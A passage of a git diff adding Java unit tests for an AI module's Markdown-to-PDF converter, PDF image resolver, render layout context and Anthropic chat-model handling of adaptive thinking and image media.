841.89 points + float width = doc.getPage(0).getMediaBox().getWidth(); + float height = doc.getPage(0).getMediaBox().getHeight(); + assertEquals(595.28f, width, 1f); + assertEquals(841.89f, height, 1f); + } + } + + @Test + void testLetterPageSize() throws IOException { + MarkdownToPdfRequest request = + MarkdownToPdfRequest.builder() + .markdown("# Letter Test\n\nContent") + .pageSize("LETTER") + .build(); + byte[] pdf = converter.convert(request); + try (PDDocument doc = Loader.loadPDF(pdf)) { + // LETTER = 612 x 792 points + float width = doc.getPage(0).getMediaBox().getWidth(); + float height = doc.getPage(0).getMediaBox().getHeight(); + assertEquals(612f, width, 1f); + assertEquals(792f, height, 1f); + } + } + + @Test + void testLegalPageSize() throws IOException { + MarkdownToPdfRequest request = + MarkdownToPdfRequest.builder() + .markdown("# Legal Test\n\nContent") + .pageSize("LEGAL") + .build(); + byte[] pdf = converter.convert(request); + try (PDDocument doc = Loader.loadPDF(pdf)) { + // LEGAL = 612 x 1008 points + float width = doc.getPage(0).getMediaBox().getWidth(); + float height = doc.getPage(0).getMediaBox().getHeight(); + assertEquals(612f, width, 1f); + assertEquals(1008f, height, 1f); + } + } + + @Test + void testUnknownPageSizeDefaultsToA4() throws IOException { + MarkdownToPdfRequest request = + MarkdownToPdfRequest.builder() + .markdown("# Unknown Size\n\nContent") + .pageSize("CUSTOM_UNKNOWN") + .build(); + byte[] pdf = converter.convert(request); + try (PDDocument doc = Loader.loadPDF(pdf)) { + float width = doc.getPage(0).getMediaBox().getWidth(); + assertEquals(595.28f, width, 1f); + } + } + + @Test + void testCaseInsensitivePageSize() throws IOException { + MarkdownToPdfRequest request = + MarkdownToPdfRequest.builder() + .markdown("# Case Test\n\nContent") + .pageSize("letter") + .build(); + byte[] pdf = converter.convert(request); + try (PDDocument doc = Loader.loadPDF(pdf)) { + float width = doc.getPage(0).getMediaBox().getWidth(); + assertEquals(612f, width, 1f); + } + } + + @Test + void testCustomMargins() throws IOException { + MarkdownToPdfRequest request = + MarkdownToPdfRequest.builder() + .markdown("# Margin Test\n\nContent") + .marginTop(36f) + .marginRight(36f) + .marginBottom(36f) + .marginLeft(36f) + .build(); + byte[] pdf = converter.convert(request); + assertNotNull(pdf); + assertTrue(pdf.length > 0); + } + + @Test + void testLargeMargins() throws IOException { + MarkdownToPdfRequest request = + MarkdownToPdfRequest.builder() + .markdown("# Big Margins\n\nTight content area") + .marginTop(144f) + .marginRight(144f) + .marginBottom(144f) + .marginLeft(144f) + .build(); + byte[] pdf = converter.convert(request); + try (PDDocument doc = Loader.loadPDF(pdf)) { + assertNotNull(doc); + assertTrue(doc.getNumberOfPages() >= 1); + } + } + + @Test + void testCompactTheme() throws IOException { + StringBuilder md = new StringBuilder("# Compact Theme Test\n\n"); + for (int i = 1; i <= 30; i++) { + md.append("Paragraph ").append(i).append(". Some content here.\n\n"); + } + MarkdownToPdfRequest defaultReq = + MarkdownToPdfRequest.builder().markdown(md.toString()).theme("default").build(); + MarkdownToPdfRequest compactReq = + MarkdownToPdfRequest.builder().markdown(md.toString()).theme("compact").build(); + + byte[] defaultPdf = converter.convert(defaultReq); + byte[] compactPdf = converter.convert(compactReq); + + // Compact should be smaller or equal (less spacing) + try (PDDocument defaultDoc = Loader.loadPDF(defaultPdf); + PDDocument compactDoc = Loader.loadPDF(compactPdf)) { + assertTrue( + compactDoc.getNumberOfPages() <= defaultDoc.getNumberOfPages(), + "Compact theme should use equal or fewer pages than default"); + } + } + + @Test + void testCustomFontSize() throws IOException { + MarkdownToPdfRequest request = + MarkdownToPdfRequest.builder() + .markdown("# Font Size 14\n\nLarger text.") + .baseFontSize(14f) + .build(); + byte[] pdf = converter.convert(request); + try (PDDocument doc = Loader.loadPDF(pdf)) { + assertNotNull(doc); + } + } + + @Test + void testSmallFontSize() throws IOException { + MarkdownToPdfRequest request = + MarkdownToPdfRequest.builder() + .markdown("# Font Size 8\n\nSmall text.") + .baseFontSize(8f) + .build(); + byte[] pdf = converter.convert(request); + try (PDDocument doc = Loader.loadPDF(pdf)) { + assertNotNull(doc); + } + } + } + + // ======================================================================== + // PDF Metadata Tests + // ======================================================================== + + @Nested + @DisplayName("PDF Metadata") + class PdfMetadata { + + @Test + void testMetadataIsSet() throws IOException { + MarkdownToPdfRequest request = + MarkdownToPdfRequest.builder() + .markdown("# Metadata Test") + .pdfMetadata( + Map.of( + "title", "Test Document", + "author", "Unit Test", + "subject", "Testing", + "keywords", "test, pdf, markdown")) + .build(); + byte[] pdf = converter.convert(request); + try (PDDocument doc = Loader.loadPDF(pdf)) { + assertEquals("Test Document", doc.getDocumentInformation().getTitle()); + assertEquals("Unit Test", doc.getDocumentInformation().getAuthor()); + assertEquals("Testing", doc.getDocumentInformation().getSubject()); + assertEquals("test, pdf, markdown", doc.getDocumentInformation().getKeywords()); + } + } + + @Test + void testPartialMetadata() throws IOException { + MarkdownToPdfRequest request = + MarkdownToPdfRequest.builder() + .markdown("# Partial Metadata") + .pdfMetadata(Map.of("title", "Only Title")) + .build(); + byte[] pdf = converter.convert(request); + try (PDDocument doc = Loader.loadPDF(pdf)) { + assertEquals("Only Title", doc.getDocumentInformation().getTitle()); + assertNull(doc.getDocumentInformation().getAuthor()); + } + } + + @Test + void testNoMetadata() throws IOException { + MarkdownToPdfRequest request = + MarkdownToPdfRequest.builder().markdown("# No Metadata").build(); + byte[] pdf = converter.convert(request); + try (PDDocument doc = Loader.loadPDF(pdf)) { + assertNotNull(doc); + // Title should be null since no metadata was provided + assertNull(doc.getDocumentInformation().getTitle()); + } + } + } + + // ======================================================================== + // Document 13: Deeply Nested Structures + // ======================================================================== + + @Nested + @DisplayName("Document 13: Deeply Nested Structures") + class DeeplyNested { + + static final String MARKDOWN = + """ + # Nested Structures + + > Quote with a list: + > + > - Item in quote A + > - Item in quote B + > - Nested in nested + + > Quote with code: + > + > ``` + > code inside quote + > ``` + + List with multiple paragraphs per item: + + - First item + + Continuation paragraph for first item. + + - Second item + + Continuation paragraph for second item. + + 1. Ordered with nested bullets + - Bullet inside ordered + - Another bullet + 2. Second ordered item + 1. Sub-ordered + 2. Sub-ordered 2 + """; + + @Test + void testProducesValidPdf() throws IOException { + try (PDDocument doc = convertAndLoad(MARKDOWN)) { + assertTrue(doc.getNumberOfPages() >= 1); + } + } + + @Test + void testContainsNestedContent() throws IOException { + try (PDDocument doc = convertAndLoad(MARKDOWN)) { + String text = extractText(doc); + assertTrue(text.contains("Item in quote A")); + assertTrue(text.contains("code inside quote")); + assertTrue(text.contains("Continuation paragraph")); + assertTrue(text.contains("Bullet inside ordered")); + } + } + } + + // ======================================================================== + // Conversion Error Handling + // ======================================================================== + + @Nested + @DisplayName("Error Handling") + class ErrorHandling { + + @Test + void testNullMarkdownThrowsException() { + MarkdownToPdfRequest request = MarkdownToPdfRequest.builder().markdown(null).build(); + assertThrows(Exception.class, () -> converter.convert(request)); + } + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/pdf/PdfImageResolverTest.java b/ai/src/test/java/org/conductoross/conductor/ai/pdf/PdfImageResolverTest.java new file mode 100644 index 0000000..b32473d --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/pdf/PdfImageResolverTest.java @@ -0,0 +1,200 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.pdf; + +import java.util.Base64; +import java.util.List; + +import org.conductoross.conductor.ai.document.DocumentLoader; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.*; +import static org.mockito.Mockito.*; + +class PdfImageResolverTest { + + private DocumentLoader httpLoader; + private DocumentLoader fileLoader; + private PdfImageResolver resolver; + + @BeforeEach + void setUp() { + httpLoader = mock(DocumentLoader.class); + when(httpLoader.supports("http://example.com/image.png")).thenReturn(true); + when(httpLoader.supports("https://example.com/image.jpg")).thenReturn(true); + when(httpLoader.supports( + argThat( + s -> + s != null + && (s.startsWith("http://") + || s.startsWith("https://"))))) + .thenReturn(true); + + fileLoader = mock(DocumentLoader.class); + when(fileLoader.supports(argThat(s -> s != null && s.startsWith("file://")))) + .thenReturn(true); + + resolver = new PdfImageResolver(List.of(httpLoader, fileLoader)); + } + + // ========== Data URI Tests ========== + + @Test + void testResolveBase64DataUri() { + byte[] original = {1, 2, 3, 4, 5}; + String encoded = Base64.getEncoder().encodeToString(original); + String dataUri = "data:image/png;base64," + encoded; + + byte[] result = resolver.resolve(dataUri, null); + + assertNotNull(result); + assertArrayEquals(original, result); + } + + @Test + void testResolveDataUriWithDifferentMimeType() { + byte[] original = "SVG content".getBytes(); + String encoded = Base64.getEncoder().encodeToString(original); + String dataUri = "data:image/svg+xml;base64," + encoded; + + byte[] result = resolver.resolve(dataUri, null); + + assertNotNull(result); + assertArrayEquals(original, result); + } + + @Test + void testResolveInvalidDataUriReturnsNull() { + // data URI without comma separator + byte[] result = resolver.resolve("data:image/png;base64", null); + assertNull(result); + } + + // ========== HTTP/HTTPS URL Tests ========== + + @Test + void testResolveHttpUrl() { + byte[] imageBytes = {10, 20, 30}; + when(httpLoader.download("http://example.com/image.png")).thenReturn(imageBytes); + + byte[] result = resolver.resolve("http://example.com/image.png", null); + + assertNotNull(result); + assertArrayEquals(imageBytes, result); + verify(httpLoader).download("http://example.com/image.png"); + } + + @Test + void testResolveHttpsUrl() { + byte[] imageBytes = {40, 50, 60}; + when(httpLoader.download("https://example.com/image.jpg")).thenReturn(imageBytes); + + byte[] result = resolver.resolve("https://example.com/image.jpg", null); + + assertNotNull(result); + assertArrayEquals(imageBytes, result); + } + + @Test + void testResolveHttpUrlFailureReturnsNull() { + when(httpLoader.download("http://example.com/missing.png")) + .thenThrow(new RuntimeException("404")); + + byte[] result = resolver.resolve("http://example.com/missing.png", null); + + assertNull(result); + } + + // ========== File URL Tests ========== + + @Test + void testResolveFileUrl() { + byte[] imageBytes = {70, 80, 90}; + when(fileLoader.download("file:///path/to/image.png")).thenReturn(imageBytes); + + byte[] result = resolver.resolve("file:///path/to/image.png", null); + + assertNotNull(result); + assertArrayEquals(imageBytes, result); + } + + // ========== Relative Path Tests ========== + + @Test + void testResolveRelativePathWithBaseUrl() { + byte[] imageBytes = {11, 22, 33}; + when(httpLoader.download("https://cdn.example.com/assets/logo.png")).thenReturn(imageBytes); + + byte[] result = resolver.resolve("logo.png", "https://cdn.example.com/assets/"); + + assertNotNull(result); + assertArrayEquals(imageBytes, result); + verify(httpLoader).download("https://cdn.example.com/assets/logo.png"); + } + + @Test + void testResolveRelativePathWithBaseUrlNoTrailingSlash() { + byte[] imageBytes = {44, 55, 66}; + when(httpLoader.download("https://cdn.example.com/assets/logo.png")).thenReturn(imageBytes); + + byte[] result = resolver.resolve("logo.png", "https://cdn.example.com/assets"); + + assertNotNull(result); + verify(httpLoader).download("https://cdn.example.com/assets/logo.png"); + } + + @Test + void testResolveRelativePathWithoutBaseUrlFails() { + // No base URL, no loader supports bare relative path + byte[] result = resolver.resolve("images/logo.png", null); + + assertNull(result); + } + + @Test + void testResolveAbsoluteUrlIgnoresBaseUrl() { + byte[] imageBytes = {77, 88, 99}; + when(httpLoader.download("http://other.com/pic.png")).thenReturn(imageBytes); + + // Absolute URL should ignore the base URL + byte[] result = resolver.resolve("http://other.com/pic.png", "https://cdn.example.com/"); + + assertNotNull(result); + verify(httpLoader).download("http://other.com/pic.png"); + } + + // ========== Null and Edge Case Tests ========== + + @Test + void testResolveNullSrcReturnsNull() { + assertNull(resolver.resolve(null, null)); + } + + @Test + void testResolveEmptySrcReturnsNull() { + assertNull(resolver.resolve("", null)); + } + + @Test + void testResolveBlankSrcReturnsNull() { + assertNull(resolver.resolve(" ", null)); + } + + @Test + void testResolveWithNoSupportingLoaderReturnsNull() { + PdfImageResolver emptyResolver = new PdfImageResolver(List.of()); + byte[] result = emptyResolver.resolve("http://example.com/img.png", null); + assertNull(result); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/pdf/PdfRenderContextTest.java b/ai/src/test/java/org/conductoross/conductor/ai/pdf/PdfRenderContextTest.java new file mode 100644 index 0000000..d744955 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/pdf/PdfRenderContextTest.java @@ -0,0 +1,266 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.pdf; + +import java.io.IOException; + +import org.apache.pdfbox.pdmodel.PDDocument; +import org.apache.pdfbox.pdmodel.common.PDRectangle; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.*; + +class PdfRenderContextTest { + + private PDDocument document; + private PdfRenderContext ctx; + + @BeforeEach + void setUp() { + document = new PDDocument(); + ctx = + new PdfRenderContext( + document, + PDRectangle.A4, + 72f, // marginTop + 72f, // marginRight + 72f, // marginBottom + 72f, // marginLeft + 11f, // baseFontSize + false); // compact + } + + @AfterEach + void tearDown() throws IOException { + if (ctx.getContentStream() != null) { + ctx.getContentStream().close(); + } + document.close(); + } + + // ========== Construction Tests ========== + + @Test + void testDefaultConstructionSetsProperties() { + assertEquals(PDRectangle.A4.getWidth(), ctx.getPageWidth(), 0.01f); + assertEquals(PDRectangle.A4.getHeight(), ctx.getPageHeight(), 0.01f); + assertEquals(72f, ctx.getMarginTop(), 0.01f); + assertEquals(72f, ctx.getMarginRight(), 0.01f); + assertEquals(72f, ctx.getMarginBottom(), 0.01f); + assertEquals(72f, ctx.getMarginLeft(), 0.01f); + assertEquals(11f, ctx.getBaseFontSize(), 0.01f); + assertEquals(1.5f, ctx.getLineSpacing(), 0.01f); + assertFalse(ctx.isCompact()); + } + + @Test + void testCompactModeReducesLineSpacing() throws IOException { + PdfRenderContext compactCtx = + new PdfRenderContext(document, PDRectangle.A4, 72f, 72f, 72f, 72f, 11f, true); + assertEquals(1.3f, compactCtx.getLineSpacing(), 0.01f); + assertTrue(compactCtx.isCompact()); + } + + @Test + void testFontsAreInitialized() { + assertNotNull(ctx.getRegularFont()); + assertNotNull(ctx.getBoldFont()); + assertNotNull(ctx.getItalicFont()); + assertNotNull(ctx.getBoldItalicFont()); + assertNotNull(ctx.getMonoFont()); + assertNotNull(ctx.getMonoBoldFont()); + } + + // ========== Layout Calculation Tests ========== + + @Test + void testContentWidthWithDefaultMargins() { + // A4 width = 595.28, margins = 72 + 72 = 144 + float expected = PDRectangle.A4.getWidth() - 72f - 72f; + assertEquals(expected, ctx.getContentWidth(), 0.01f); + } + + @Test + void testContentWidthWithListIndent() { + ctx.setListIndentLevel(1); + float expectedWithIndent = PDRectangle.A4.getWidth() - 72f - 72f - 20f; + assertEquals(expectedWithIndent, ctx.getContentWidth(), 0.01f); + } + + @Test + void testContentWidthWithNestedListIndent() { + ctx.setListIndentLevel(3); + float expectedWithIndent = PDRectangle.A4.getWidth() - 72f - 72f - 60f; + assertEquals(expectedWithIndent, ctx.getContentWidth(), 0.01f); + } + + @Test + void testContentWidthWithBlockquote() { + ctx.setInBlockquote(true); + float expectedWithBQ = PDRectangle.A4.getWidth() - 72f - 72f - 15f; + assertEquals(expectedWithBQ, ctx.getContentWidth(), 0.01f); + } + + @Test + void testContentWidthWithBlockquoteAndListIndent() { + ctx.setInBlockquote(true); + ctx.setListIndentLevel(2); + float expected = PDRectangle.A4.getWidth() - 72f - 72f - 40f - 15f; + assertEquals(expected, ctx.getContentWidth(), 0.01f); + } + + @Test + void testLeftXWithDefaultMargins() { + assertEquals(72f, ctx.getLeftX(), 0.01f); + } + + @Test + void testLeftXWithListIndent() { + ctx.setListIndentLevel(2); + assertEquals(72f + 40f, ctx.getLeftX(), 0.01f); + } + + @Test + void testRightX() { + float expected = PDRectangle.A4.getWidth() - 72f; + assertEquals(expected, ctx.getRightX(), 0.01f); + } + + // ========== Line Height Tests ========== + + @Test + void testLineHeightDefaultSpacing() { + // lineSpacing = 1.5 (non-compact) + assertEquals(11f * 1.5f, ctx.getLineHeight(11f), 0.01f); + } + + @Test + void testLineHeightCompactSpacing() throws IOException { + PdfRenderContext compactCtx = + new PdfRenderContext(document, PDRectangle.A4, 72f, 72f, 72f, 72f, 11f, true); + assertEquals(11f * 1.3f, compactCtx.getLineHeight(11f), 0.01f); + } + + @Test + void testLineHeightWithDifferentFontSizes() { + assertEquals(24f * 1.5f, ctx.getLineHeight(24f), 0.01f); + assertEquals(8f * 1.5f, ctx.getLineHeight(8f), 0.01f); + } + + // ========== Page Management Tests ========== + + @Test + void testNewPageCreatesPageAndContentStream() throws IOException { + ctx.newPage(); + + assertNotNull(ctx.getContentStream()); + assertEquals(1, document.getNumberOfPages()); + float expectedCursorY = PDRectangle.A4.getHeight() - 72f; + assertEquals(expectedCursorY, ctx.getCursorY(), 0.01f); + } + + @Test + void testMultipleNewPagesIncreasePageCount() throws IOException { + ctx.newPage(); + ctx.newPage(); + ctx.newPage(); + + assertEquals(3, document.getNumberOfPages()); + } + + @Test + void testAdvanceCursorMovesDown() throws IOException { + ctx.newPage(); + float initial = ctx.getCursorY(); + ctx.advanceCursor(50f); + assertEquals(initial - 50f, ctx.getCursorY(), 0.01f); + } + + @Test + void testEnsureSpaceCreatesNewPageWhenNeeded() throws IOException { + ctx.newPage(); + // Move cursor near the bottom + ctx.setCursorY(ctx.getMarginBottom() + 5f); + + // Request more space than available + ctx.ensureSpace(20f); + + // Should have created a new page + assertEquals(2, document.getNumberOfPages()); + float expectedCursorY = PDRectangle.A4.getHeight() - 72f; + assertEquals(expectedCursorY, ctx.getCursorY(), 0.01f); + } + + @Test + void testEnsureSpaceDoesNotCreatePageWhenEnoughRoom() throws IOException { + ctx.newPage(); + float savedY = ctx.getCursorY(); + + // Request small amount of space + ctx.ensureSpace(10f); + + // Should stay on same page + assertEquals(1, document.getNumberOfPages()); + assertEquals(savedY, ctx.getCursorY(), 0.01f); + } + + // ========== Text Width Tests ========== + + @Test + void testTextWidthReturnsPositiveValue() throws IOException { + float width = ctx.getTextWidth("Hello World", ctx.getRegularFont(), 11f); + assertTrue(width > 0f); + } + + @Test + void testTextWidthScalesWithFontSize() throws IOException { + float width11 = ctx.getTextWidth("Test", ctx.getRegularFont(), 11f); + float width22 = ctx.getTextWidth("Test", ctx.getRegularFont(), 22f); + assertEquals(width11 * 2, width22, 0.01f); + } + + @Test + void testEmptyTextHasZeroWidth() throws IOException { + float width = ctx.getTextWidth("", ctx.getRegularFont(), 11f); + assertEquals(0f, width, 0.01f); + } + + @Test + void testMonoFontHasConsistentCharWidth() throws IOException { + // Courier is monospaced, so all chars should have same width + float widthI = ctx.getTextWidth("iii", ctx.getMonoFont(), 11f); + float widthM = ctx.getTextWidth("mmm", ctx.getMonoFont(), 11f); + assertEquals(widthI, widthM, 0.01f); + } + + // ========== Different Page Sizes ========== + + @Test + void testLetterPageSize() throws IOException { + PdfRenderContext letterCtx = + new PdfRenderContext(document, PDRectangle.LETTER, 72f, 72f, 72f, 72f, 11f, false); + assertEquals(PDRectangle.LETTER.getWidth(), letterCtx.getPageWidth(), 0.01f); + assertEquals(PDRectangle.LETTER.getHeight(), letterCtx.getPageHeight(), 0.01f); + } + + @Test + void testCustomMargins() throws IOException { + PdfRenderContext customCtx = + new PdfRenderContext(document, PDRectangle.A4, 36f, 50f, 36f, 50f, 12f, false); + float expectedWidth = PDRectangle.A4.getWidth() - 50f - 50f; + assertEquals(expectedWidth, customCtx.getContentWidth(), 0.01f); + assertEquals(50f, customCtx.getLeftX(), 0.01f); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/providers/anthropic/AnthropicAdaptiveThinkingTest.java b/ai/src/test/java/org/conductoross/conductor/ai/providers/anthropic/AnthropicAdaptiveThinkingTest.java new file mode 100644 index 0000000..5b676a4 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/providers/anthropic/AnthropicAdaptiveThinkingTest.java @@ -0,0 +1,73 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.anthropic; + +import org.junit.jupiter.api.Test; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.ValueSource; + +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertTrue; + +/** + * Pins {@link AnthropicChatModel#requiresAdaptiveThinking(String)}. Matching is by line name (no + * version digits) so new releases work without a code change: the Opus / Fable / Mythos lines use + * adaptive thinking, while Sonnet and Haiku still use the legacy enabled shape. Grounded in the + * adaptive-thinking docs (checked 2026-06): Opus is adaptive from 4.6 on (4.7+ reject enabled), + * Fable / Mythos are adaptive-only, Sonnet 4.6 and all Haiku accept enabled. + */ +class AnthropicAdaptiveThinkingTest { + + /** The adaptive lines -- current and future versions all match. */ + @ParameterizedTest + @ValueSource( + strings = { + "claude-opus-4-6", + "claude-opus-4-7", + "claude-opus-4-8", + "claude-opus-4-9", // future Opus minor -- no code change needed + "claude-opus-5-0", // future Opus major + "claude-fable-5", + "claude-mythos-5", + "claude-mythos-preview" + }) + void adaptiveLines(String model) { + assertTrue( + AnthropicChatModel.requiresAdaptiveThinking(model), + model + " is on an adaptive line; must use adaptive thinking"); + } + + /** Sonnet and Haiku still use the legacy enabled shape -> must NOT be forced to adaptive. */ + @ParameterizedTest + @ValueSource( + strings = { + "claude-sonnet-4-6", + "claude-sonnet-4-5", + "claude-sonnet-4-0", + "claude-sonnet-4-20250514", + "claude-haiku-4-5", + "claude-haiku-4-5-20251001", + "claude-3-7-sonnet-20250219", // only Claude 3.x that thinks; enabled-only + "claude-3-5-sonnet-20241022" + }) + void enabledModels(String model) { + assertFalse( + AnthropicChatModel.requiresAdaptiveThinking(model), + model + " uses legacy enabled; must not be forced to adaptive"); + } + + @Test + void nullModelDefaultsToEnabled() { + assertFalse(AnthropicChatModel.requiresAdaptiveThinking(null)); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/providers/anthropic/AnthropicChatModelMediaTest.java b/ai/src/test/java/org/conductoross/conductor/ai/providers/anthropic/AnthropicChatModelMediaTest.java new file mode 100644 index 0000000..7f11268 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/providers/anthropic/AnthropicChatModelMediaTest.java @@ -0,0 +1,128 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.anthropic; + +import java.util.Base64; +import java.util.List; + +import org.conductoross.conductor.ai.providers.anthropic.api.AnthropicMessagesApi; +import org.conductoross.conductor.ai.providers.anthropic.api.AnthropicMessagesApi.ContentBlock; +import org.conductoross.conductor.ai.providers.anthropic.api.AnthropicMessagesApi.Message; +import org.conductoross.conductor.ai.providers.anthropic.api.AnthropicMessagesApi.MessagesRequest; +import org.conductoross.conductor.ai.providers.anthropic.api.AnthropicMessagesApi.MessagesResponse; +import org.conductoross.conductor.ai.providers.anthropic.api.AnthropicMessagesApi.ResponseContentBlock; +import org.conductoross.conductor.ai.providers.anthropic.api.AnthropicMessagesApi.ResponseUsage; +import org.junit.jupiter.api.Test; +import org.mockito.ArgumentCaptor; +import org.springframework.ai.chat.messages.UserMessage; +import org.springframework.ai.chat.prompt.Prompt; +import org.springframework.ai.content.Media; +import org.springframework.util.MimeTypeUtils; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertInstanceOf; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +/** + * Verifies that image media on a {@link UserMessage} is forwarded to the Anthropic Messages API as + * an {@code image} content block. Regression test for a bug where {@code convertMessage} took only + * {@code UserMessage.getText()} and silently dropped {@code getMedia()}, so vision-capable Claude + * models never received the image. + * + *

The HTTP layer is stubbed via Mockito; the request built by {@link AnthropicChatModel} is + * captured and inspected. + */ +class AnthropicChatModelMediaTest { + + private static final byte[] PNG_BYTES = {(byte) 0x89, 'P', 'N', 'G', 1, 2, 3, 4}; + + private static ResponseContentBlock textBlock(String text) { + return new ResponseContentBlock("text", text, null, null, null, null, null, null); + } + + @Test + void userMediaIsForwardedAsImageContentBlock() throws Exception { + AnthropicMessagesApi api = mock(AnthropicMessagesApi.class); + MessagesResponse canned = + new MessagesResponse( + "msg_img", + "message", + "assistant", + List.of(textBlock("MELON7391")), + "claude-sonnet-4-5", + "end_turn", + null, + new ResponseUsage(10, 5, null, null)); + when(api.createMessage(any(MessagesRequest.class))).thenReturn(canned); + + AnthropicChatModel chatModel = new AnthropicChatModel(api); + + UserMessage userMsg = + UserMessage.builder() + .text("Transcribe the text in the image.") + .media( + List.of( + Media.builder() + .data(PNG_BYTES) + .mimeType(MimeTypeUtils.IMAGE_PNG) + .build())) + .build(); + + AnthropicChatOptions options = + AnthropicChatOptions.builder().model("claude-sonnet-4-5").maxTokens(1024).build(); + chatModel.call(new Prompt(List.of(userMsg), options)); + + ArgumentCaptor captor = ArgumentCaptor.forClass(MessagesRequest.class); + verify(api).createMessage(captor.capture()); + MessagesRequest sent = captor.getValue(); + + Message user = sent.messages().get(sent.messages().size() - 1); + assertEquals("user", user.role()); + assertInstanceOf( + List.class, + user.content(), + "user message with media must serialize to a content-block list, not a bare string"); + + @SuppressWarnings("unchecked") + List blocks = (List) user.content(); + + List imageBlocks = + blocks.stream().filter(b -> "image".equals(b.type())).toList(); + assertFalse( + imageBlocks.isEmpty(), + "image content block missing — media was dropped (the original bug)"); + + ContentBlock img = imageBlocks.get(0); + assertEquals("base64", img.source().type()); + assertEquals("image/png", img.source().mediaType()); + assertEquals( + Base64.getEncoder().encodeToString(PNG_BYTES), + img.source().data(), + "image bytes must be base64-encoded verbatim"); + + // The text prompt must still be present alongside the image. + assertTrue( + blocks.stream() + .anyMatch( + b -> + "text".equals(b.type()) + && "Transcribe the text in the image." + .equals(b.text())), + "text content block must accompany the image"); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/providers/anthropic/AnthropicChatModelReasoningTest.java b/ai/src/test/java/org/conductoross/conductor/ai/providers/anthropic/AnthropicChatModelReasoningTest.java new file mode 100644 index 0000000..21260b9 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/providers/anthropic/AnthropicChatModelReasoningTest.java @@ -0,0 +1,209 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.anthropic; + +import java.util.List; + +import org.conductoross.conductor.ai.providers.anthropic.api.AnthropicMessagesApi; +import org.conductoross.conductor.ai.providers.anthropic.api.AnthropicMessagesApi.MessagesRequest; +import org.conductoross.conductor.ai.providers.anthropic.api.AnthropicMessagesApi.MessagesResponse; +import org.conductoross.conductor.ai.providers.anthropic.api.AnthropicMessagesApi.ResponseContentBlock; +import org.conductoross.conductor.ai.providers.anthropic.api.AnthropicMessagesApi.ResponseUsage; +import org.junit.jupiter.api.Test; +import org.springframework.ai.chat.model.ChatResponse; +import org.springframework.ai.chat.prompt.Prompt; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertNull; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +/** + * End-to-end tests for the {@link AnthropicChatModel} extended-thinking round-trip: when the caller + * asks for reasoning via {@code reasoningSummary} on {@link AnthropicChatOptions}, thinking content + * blocks returned in the response must be concatenated onto {@code + * ChatResponseMetadata["reasoning"]}. + * + *

